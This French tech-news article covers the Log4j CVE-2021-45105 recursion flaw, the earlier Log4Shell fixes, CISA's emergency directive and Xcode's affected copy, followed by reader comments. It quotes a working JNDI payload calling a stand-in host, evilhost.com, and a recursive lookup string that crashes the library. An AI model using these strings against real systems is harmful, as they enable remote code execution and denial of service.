IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)

Vous êtes nouveau sur Developpez.com ? Créez votre compte ou connectez-vous afin de pouvoir participer !

Vous devez avoir un compte Developpez.com et être connecté pour pouvoir participer aux discussions.

Vous n'avez pas encore de compte Developpez.com ? Créez-en un en quelques instants, c'est entièrement gratuit !

Si vous disposez déjà d'un compte et qu'il est bien activé, connectez-vous à l'aide du formulaire ci-dessous.

Identifiez-vous
Identifiant
Mot de passe
Mot de passe oublié ?
Créer un compte

L'inscription est gratuite et ne vous prendra que quelques instants !

Je m'inscris !

Jamais deux sans trois : Apache révèle un autre bogue dans la bibliothèque de journalisation Log4J
Le troisième correctif majeur en dix jours est une faille de récursivité infinie

Le , par Stéphane le calme

156PARTAGES

15  0 
L'Apache Software Foundation (ASF) a révélé un troisième bogue dans sa bibliothèque de journalisation open source Log4 Java Log4j. CVE-2021-45105 est un bogue de récursivité infinie noté 7.5/10 qui était présent dans les versions Log4j2 2.0-alpha1 à 2.16.0. Le correctif est disponible dans la version 2.17.0 de Log4j. C'est la troisième nouvelle version de l'outil au cours des dix derniers jours.

Log4j est une bibliothèque de journalisation open source basée sur Java utilisée dans des millions d'applications. Il y a quelques jours, une vulnérabilité dans Log4J a été découverte. Elle permet à un attaquant de provoquer une exécution de code arbitraire à distance s'il a la capacité de soumettre une donnée à une application qui utilise la bibliothèque log4j pour journaliser l'évènement. Cette attaque peut être réalisée sans être authentifié, par exemple en tirant parti d'une page d'authentification qui journalise les erreurs d'authentification. Les entreprises spécialisées en cybersécurité ont indiqué que le nombre d'attaques profitant de cette faille se multiplient. Les membres de l’Apache Software Fondation ont développé un patch en catastrophe pour corriger la vulnérabilité, la version 2.15.0. Des contournements sont également possibles pour réduire les risques.

Mais les chercheurs ont signalé qu'il existe au moins deux vulnérabilités dans le correctif, publié sous le nom de Log4J 2.15.0, et que les attaquants exploitent activement l'une d'entre elles ou les deux contre des cibles du monde réel qui ont déjà appliqué la mise à jour. Les chercheurs ont exhorté les organisations à installer un nouveau correctif, publié en tant que version 2.16.0, dès que possible pour corriger la vulnérabilité, qui est suivie comme CVE-2021-45046.

Le correctif précédent, ont déclaré les chercheurs mardi soir, « était incomplet dans certaines configurations autres que celles par défaut » et permettait aux attaquants d'effectuer des attaques par déni de service, ce qui facilite généralement la mise hors ligne des services vulnérables jusqu'à ce que les victimes redémarrent leur serveurs ou prennent d'autres mesures. La version 2.16.0 « résout ce problème en supprimant la prise en charge des modèles de recherche de messages et en désactivant la fonctionnalité JNDI par défaut », selon l'avis de vulnérabilité lié ci-dessus.

Mercredi, des chercheurs de la société de sécurité Praetorian ont déclaré qu'il y avait une vulnérabilité encore plus grave dans 2.15.0 (une faille de divulgation d'informations qui peut être utilisée pour télécharger des données à partir des serveurs concernés).

« Dans nos recherches, nous avons démontré que la version 2.15.0 peut toujours permettre l'exfiltration de données sensibles dans certaines circonstances », a écrit le chercheur prétorien Nathan Sportsman. « Nous avons transmis les détails techniques du problème à la Fondation Apache, mais dans l'intervalle, nous recommandons fortement aux clients de passer à la version 2.16.0 le plus rapidement possible. »

Les chercheurs n'ont pas fourni de détails supplémentaires sur la vulnérabilité car ils ne voulaient pas fournir d'informations qui permettraient aux pirates de l'exploiter plus facilement. Cependant, ils ont publié la vidéo suivante qui montre leur exploit de preuve de concept en action :


La version 2.15.0 ne résolvait pas un autre problème - CVE-2021-45046 - qui permettait à un attaquant distant contrôlant le Thread Context Map (MDC) de préparer une entrée malveillante à l'aide d'un modèle de recherche JNDI. Le résultat pourrait être l'exécution de code à distance, heureusement pas dans tous les environnements.

La version 2.16.0 a résolu ce problème. Mais elle n'a pas corrigé CVE-2021-45105, que l'Apache Software Foundation décrit comme suit :

« Les versions 2.0-alpha1 à 2.16.0 d'Apache Log4j2 ne protégeaient pas contre la récursivité incontrôlée des recherches auto-référentielles. Lorsque la configuration de la journalisation utilise une disposition de modèle autre que celle par défaut avec une recherche de contexte (par exemple, $${ctx:loginId}), les attaquants contrôlant les données d'entrée de Thread Context Map (MDC) peuvent créer des données d'entrée malveillantes contenant une recherche récursive, ce qui entraîne une StackOverflowError qui mettra fin au processus. Ceci est également connu sous le nom d'attaque DOS (Denial of Service) ».

Le programme de primes de bogues indépendant des fournisseurs, Zero Day Initiative, a décrit la faille comme suit :

« Lorsqu'une variable imbriquée est remplacée par la classe StrSubstitutor, elle appelle récursivement la classe substitut(). Cependant, lorsque la variable imbriquée fait référence à la variable à remplacer, la récursivité est appelée avec la même chaîne. Cela conduit à une récursivité infinie et à une condition DoS sur le serveur ».

L'ASF a également décrit les mesures d'atténuation suivantes :
  • Dans PatternLayout dans la configuration de la journalisation, remplacez les recherches de contexte comme ${ctx:loginId} ou $${ctx:loginId} par les modèles de mappe de contexte de thread (%X, %mdc ou %MDC) .
  • Sinon, dans la configuration, supprimez les références aux recherches contextuelles telles que ${ctx:loginId} ou $${ctx:loginId} lorsqu'elles proviennent de sources externes à l'application telles que les en-têtes HTTP ou les entrées utilisateur.

La faille a été corrigée dans Log4j 2.17.0 (Java 8).

CISA publie une directive d'urgence pour corriger la vulnérabilité Log4j

Vendredi, le Cybersecurity and Infrastructure Security Agency (CISA) a intensifié son appel pour corriger la vulnérabilité Apache Log4j avec une directive d'urgence exigeant que les agences fédérales américaines prennent des mesures correctives avant 17 h HNE le 23 décembre 2021.

La bibliothèque logicielle comprend Log4j un langage de formatage de texte qui permet l'exécution de code et la vulnérabilité permet à un attaquant distant de créer une chaîne comme ${jndi:ldap://127.0.0.1#evilhost.com:1389/a} pour récupérer l'objet référencé sur le serveur spécifié et l'exécuter.

La faille, appelée Log4Shell ou Logjam, est classée Critique avec un score CVSS de 10,0 et est déjà activement exploitée.

«*Comme Log4Shell est une faille critique avec une surface d'attaque énorme et est très simple à exploiter, les acteurs malveillants l'utilisent activement pour lancer leurs attaques même avec un correctif déjà publié », a déclaré Felipe Tarijon, analyste de logiciels malveillants chez Appgate. « Plusieurs groupes parrainés par l'État exploitent la faille dans la nature et apportent des modifications à l'exploit Log4j ».

Tarijon a déclaré que les botnets Muhstik et une variante de Mirai abusaient de la faille sur les appareils Linux avant la divulgation publique, et des activités d'exploitation telles que le déploiement de mineurs de crypto-monnaie ont été observées. Il a ajouté qu'une nouvelle famille de ransomwares ciblant Windows nommée Khonsari a été vue en train d'exploiter la vulnérabilité Log4j, qui a également été utilisée pour fournir le cheval de Troie d'accès à distance Orcus.

« Cette vulnérabilité, qui est largement exploitée par un nombre croissant d'acteurs de la menace, présente un défi urgent pour les défenseurs du réseau étant donné son utilisation généralisée », a déclaré la directrice de CISA, Jen Easterly, dans un communiqué. « Les utilisateurs finaux dépendront de leurs fournisseurs, et la communauté des fournisseurs doit immédiatement identifier, atténuer et corriger le large éventail de produits utilisant ce logiciel. »

Plus tôt la semaine dernière, la CISA a publié des directives d'atténuation ordonnant aux agences civiles fédérales de mettre à jour Log4j vers la version 2.15 d'ici le 24 décembre 2021, pour traiter CVE-2021-44228.

Mais mercredi, cet avis a été remplacé par la recommandation selon laquelle les entités concernées devraient passer à la version 2.16 pour remédier à un contournement d'atténuation et à une faille distincte qui avait été identifiée, CVE-2021-45046, qui permet à un attaquant de lancer une attaque par déni de service sur les appareils affectés via des charges utiles malveillantes.

La directive d'urgence exige que les agences civiles fédérales d'ici la fin du jour ouvrable du 23 décembre :
  • identifient tous les systèmes qui acceptent des données sur Internet ;
  • vérifient ces systèmes par rapport au référentiel GitHub géré par CISA*;
  • appliquent le dernier correctif Log4j le cas échéant ou mette les systèmes vulnérables hors ligne*;
  • soumettre une Pull Request identifiant les actifs non référencés*;
  • et supposent que les systèmes vulnérables ont été compromis, avec l'enquête post-incident et l'atténuation que cela implique.

Avant 17 h HNE le 28 décembre 2021, les agences sont tenues de signaler les systèmes qu'elles ont identifiés au cours de ce processus et de détailler les mesures prises.

Il est possible que la directive évolue puisque les responsables bénévoles de Log4j ont identifié un bogue de récursivité infinie, affectant les versions jusqu'à 2.16, qui fera apparemment planter l'application si une substitution de chaîne est tentée sur ce modèle de chaîne ${${::-${::-$${ :: -j}}}}.

« Le premier correctif (2.15) présente toujours une vulnérabilité dans les configurations autres que celles par défaut permettant l'exfiltration de données sensibles », a souligné Tarijon. « Donc, l'application du dernier correctif en mettant à jour vers la version 2.16 suffirait à résoudre le problème d'exécution de code à distance (RCE). Cela désactive JNDI, le composant abusé pour tirer parti du RCE ».

Le bogue de récursivité dans la version 2.16, a-t-il dit, semble être moins critique (il est noté 7,5 sur l'échelle de sévérité) car il ne peut être utilisé que pour une attaque par déni de service qui fait planter le système de journalisation. Bien que le bogue RCE ait été corrigé dans la version 2.16, il s'attend à ce qu'il continue d'avoir un impact significatif en raison de l'énorme surface d'attaque qui dépend des fournisseurs et des tiers qui peuvent ne pas appliquer les correctifs assez rapidement.

« À titre de référence, les vulnérabilités de PrintSpooler en juillet de cette année ont conduit à un bogue RCE, corrigé par Microsoft, mais des exploits et des variantes ultérieurs sont apparus plus tard dès que les acteurs malveillants ont commencé à abuser de la vulnérabilité dans la nature », a expliqué Tarijon.

XCode 13.2 comporte la vulnérabilité Log4J

Sur le forum des développeurs iOS, un développeur a indiqué qu'il semble que la version actuelle de XCode 13.2 contienne la vulnérabilité Log4j. Ce à quoi Apple a répondu : « Bonjour, l'équipe Xcode est au courant de ce problème. Nous ne donnons généralement pas d'ETA pour le moment où un bogue sera corrigé, mais l'équipe est consciente qu'il s'agit d'un problème de sécurité ».


Dans la note de version de XCode 13.2.1, il est précisé :

« Xcode contient une copie de la bibliothèque log4j qui présente la vulnérabilité de sécurité CVE-2021-44228. Xcode télécharge automatiquement une version mise à jour de cette bibliothèque et l'installe dans ~/Library/Caches/com.apple.amp.itmstransporter. Lors de la soumission d'applications à l'App Store, Xcode utilise la version mise à jour de la bibliothèque ».

Sources : Apache, CISA (1, 2), Apple

Une erreur dans cette actualité ? Signalez-le nous !

Avatar de gabriel21
Membre éprouvé https://www.developpez.com
Le 21/12/2021 à 23:48
Je vois dans les crises sécuritaires actuelles un problème plus profond :
L'architecture système repose sur une notion de couche et les développeurs ne comprennent plus rien aux bases, voir en ont rien à "bip".
Combien de fois j'ai pu entendre, j'en ai rien à faire de comment ça marche tant que ça marche de la part de nombreux développeurs (et pas uniquement Java ).
Il nous font "bip" tous ces administrateurs système avec leur "bip" de mise à jour qui casse mon super code de la mort qui tue tout. Parce que le problème, ce n'est pas nous, mais forcément les autres...
Combien de fois je suis épouvanté par le fait que juste pour afficher "Hello World", il faut un serveur avec 2 processeurs et 64Go de mémoire? Moi qui es commencé sur des systèmes avec des Pentium III et 64 Mo de ram.
Car pourquoi se faire "bip" par les dépendances quand il suffit d'intégrer un framework de 4 Go pour 3 fonctions qui pèsent 3Ko, et plusieurs fois dans le projet...

Mais moi qui fait un peu de programmation, mais qui suis administrateur système de vocation, je pleure.
Pour moi, le minimum est le mieux. Je pleure quand je dois faire 5 mises à jour de noyau Linux parce qu’il y a une faille sur une fonctionnalité que nous n'utilisons pas, mais vous comprenez avoir une personne qui compile un noyau qui correspond à notre besoin, ça coûte trop chère alors on utilise un noyau générique qui pèse 150Mo alors que l'on pourrait utiliser un noyau de 50 Mo qui ne demande pas de mise à jour régulière. Je regrettes ces serveur qui ont un Uptime de 3000 jours, car ayant un noyau optimisé pour leur matériel et n'utilisant pas le chargement dynamique de module du noyau Linux, n'ont pas de failles du moins connue...
9  0 
Avatar de marsupial
Expert confirmé https://www.developpez.com
Le 20/12/2021 à 7:36
Des fois, cela a du bon d'être retraité...

Joyeuses fêtes à tous les admins !
6  0 
Avatar de walfrat
Membre chevronné https://www.developpez.com
Le 20/12/2021 à 12:18
Citation Envoyé par Fleur en plastique Voir le message
Ce que ça m'inspire, c'est que Apache et Java, c'est de la M.

Mais surtout, ce qui est de loin le pire, c'est le fait de faire des projets qui incluent je ne sais combien de dépendances externes, et donc la moindre faille dans un composant, même mineur comme ici, met en danger tout le Web parce que je ne sais combien de projets l'incluent par paresse.

De la même manière, la moindre dépendance qui disparaît du jour au lendemain peut empêcher le fonctionnement de milliers de projets, c'était arrivé à Node.Js.

Je sais bien que réinventer la roue n'est pas une bonne chose, mais j'ai toujours milité pour limiter le nombre de dépendances externes dans mes projets. Ma règle d'or : si les doigts d'une main ne suffisent pas à compter les projets externes dont dépendent mon propre projet, c'est qu'il y en a trop et un jour ou l'autre, ça va me péter à la gueule.

On en a ici la preuve.
C'est débile comme raisonnement, la faille de log4j, faut utiliser log4j pour qu'elle soit exploitable.
Avoir log4j dans ton classpath ne rend pas ton application vulnérable.

Et comment compte tu le nombre de projet dont tu dépend ? Spring c'est un projet ? Ou tu compte un projet par Spring-context,Spring-orm,Spring-tx ?

Tu compte Apache tomcat comme une dépendance dans ton projet ? Et l'OS de déploiement c'est aussi une dépendance ?

Enfin, entre ton codage, et celui de librairie éprouvé (open source ou non), le tiens aura sans doute largement plus de failles de sécurité.
6  0 
Avatar de chrtophe
Responsable Systèmes https://www.developpez.com
Le 20/12/2021 à 8:45
Quand on utilise Java le samedi à Broadway, ça hacke comme à Meudon.
6  1 
Avatar de marsupial
Expert confirmé https://www.developpez.com
Le 20/12/2021 à 9:44
Si à chaque faille découverte on devait tout jeter, on retourne à la machine à écrire. Plus de 60 000 failles logicielles découvertes en un an(source dvp) , personne n'est épargné.
5  0 
Avatar de Escapetiger
Expert éminent https://www.developpez.com
Le 24/12/2021 à 13:34
Nous sommes dans un forum spécialisé mais tout de même pour une question de clarté avec tous ces sigles :

IPS
« Un système de prévention d'intrusion (ou IPS, intrusion prevention system) est un outil des spécialistes en sécurité des systèmes d'information, similaire aux systèmes de détection d'intrusion (ou IDS, intrusion detection system), permettant de prendre des mesures afin de diminuer les impacts d'une attaque. C'est un IDS actif, il peut par exemple détecter un balayage automatisé malveillant, et bloquer les ports.

Les IPS peuvent donc parer les attaques connues et inconnues. Comme les IDS, ils ne sont pas fiables à 100 % et risquent même en cas de faux positif de bloquer du trafic légitime.
(.../...) »

EDR
« Un logiciel de type EDR désigne une technologie émergente de détection des menaces sur les EndPoints (ordinateurs, serveurs). Ce terme Endpoint Detection and Response (EDR), est utilisé pour la première fois en juillet 2013 par Anton Chuvakin1 de la société Gartner.
(.../...)
Combiné avec un moteur basé sur de l'intelligence artificielle, le logiciel EDR est très réactif dans la détection et l'arrêt de menaces (Malwares, virus, attaques zero Day, menaces persistantes avancées, ...). L'intelligence artificielle lui permet d'être auto-apprenant et de ne pas devoir se connecter sur internet pour mettre à jour des bases de données.
»

Sources Wikipedia :

Système de prévention d'intrusion

Endpoint detection and response
5  0 
Avatar de sekaijin
Expert éminent https://www.developpez.com
Le 24/12/2021 à 16:40
Lister les dépendances par transitivité pour connaitre les projet "Potentiellement" impactés
N'est en soit pas très compliqué mais très largement insuffisant surtout si on fait ça sur maven central.
En effet Maven Central garde aussi toute les vielles versions donc même s'il y a eu des corrections les version non corrigé restent.

On peut très vite avoir des chiffres énorme sans pour autant que ce soit la cata.

Quant à ce que que j'ai lu ici sur YAKAFOKON c'est très loin d'être si facile. Je m'occupe d'un outil qui est composé de centaines d'éléments divers avec un chargement dynamique la bête a tourné 8 ans sans interruption, avec des mise à jour à chaud, un changement de serveur physique à chaud (juste des arrêts partiels de certain composants quelques minutes).
Arriver à qualifier la compatibilité de plusieurs centaines de composants est un très long travail. Il nous est déjà arrivé de revenir en arrière après plusieurs mois de travail parce qu'un composants n'était plus compatible avec l'ensemble.

Quant à l'approche de google si j'avais suivi la même approche j'aurais à ce jour environs 200 projet impactés.
Hors tous dépendent d'une librairie qui est compilé avec log4j (donc une dépendance). Mais cette librairie importe une partie seulement de log4j et supprime tout le code inutile. La partie impactée par le PB de sécurité n'est plus dans le code de la lib. les 200 projets ne sont donc pas impactés.

à contraio je suis tombé sur un dev qui importe par transitivité un clone de log4j qui lui embarque le code en question et là l'approche de Google ne l'a pas trouvé et pour cause. Ouf il s'agissait d'un démonstrateur pas de prod.

Donc à tous les YAKAFOKON Oui il est très simple dans le gestionnaire de dépendance de surcharger la version de log4j pour en choisir une non impactée.
Mais sur les millions de lignes de code comment garantir que ce changement ne va pas introduire de bug ?
On pourrait imaginer que finalement ce ne sont que des log c'est pas si grave si on n'a pas la trace tant que le prog fonctionne mais voilà un changement de version de log4j sans précaution et up un nullpointerexception dans un log.info et le prog ne fonctionne plus.

Il n'y a rien de simple. C'est un travail permanent, une vigilance, et des mois de tests pour valider un assemblage.

A+JYT
5  0 
Avatar de chrtophe
Responsable Systèmes https://www.developpez.com
Le 21/12/2021 à 10:56
Est-ce vraiment Java le problème ? ou plutôt l'utilisation de composants externes mal programmée, ou des failles de la JVM ?
Pour ce dernier aspect, les postes faillibles :
- sont-ils à jour au niveau Java ?
- L'utilisation d’une JVM autre que celle d'Oracle est il plus sûr ?
4  0 
Avatar de TJ1985
Membre expérimenté https://www.developpez.com
Le 14/01/2022 à 9:34
C'est ce qui m'a toujours effrayé lorsque j'ai assisté à l'explosion des bibliothèques et plateformes en ligne. Pour avoir commis une fois un bug dans une librairie partagée, je mesure pleinement l'impact que ça peut avoir. Là, j'avais encore la main dessus, et sur l'ensemble des applications qui l'utilisaient et ça a quand même fait des dégâts. Mais si elle avait été lâchée dans la nature... à moi la peur !
J'ai l'impression que nous avons perdu la tête. Toutes les entreprises ne font pas du commerce en ligne, toutes n'ont pas besoin d'un cloud externe et beaucoup bénéficieraient des services d'un bon analyste bien plus que d'une SSII avide de rentabilité - pour elle-même.
5  1 
Avatar de gabriel21
Membre éprouvé https://www.developpez.com
Le 22/12/2021 à 12:23
Citation Envoyé par tabouret Voir le message
Un uptime de 300 jours est inconcevable d'un point de vue sécurité.
Peux tu expliquer en quoi c'est un problème de sécurité?
Si tu as :
- un noyau dédié qui n'embarque que le nécessaire et surtout pas de modules dynamiques (utile sur les stations de travail, inutile sur les serveurs);
- pas de mise à jour de sécurité sur les parties intégrés au noyau;
- pas besoin des nouvelles fonctionnalités;
- pas besoin des optimisations.

Il s'agit là de préconisations faite par l'ANSI, il y a encore 3 ans, lors d'un audit de sécurité sur les serveurs d'un OIV. L'agence disait déjà ça, il y a 20 ans pour les Unix, Linux, tout en conseillant l'application immédiates des patchs utiles avec redémarrage si nécessaire, voir passage sur ban de test pour certains serveurs industriels dont un arrêt brutal peux avoir des conséquences dramatiques.

Le fait que la majorité des patchs Windows nécessite un redémarrage est une problématique interne à Microsoft et effectivement sous Windows un Uptime de plus de 35 jours est purement suicidaire. Chez certains OIV, les serveurs Windows redémarrent automatiquement tous les 30 jours, ce qui est assez rare car finalement, la plupart serveurs ont tendance à être redémarré tous les 15 jours. C'est d’ailleurs une des raisons qui font que je me suis spécialisé sous Linux.
4  1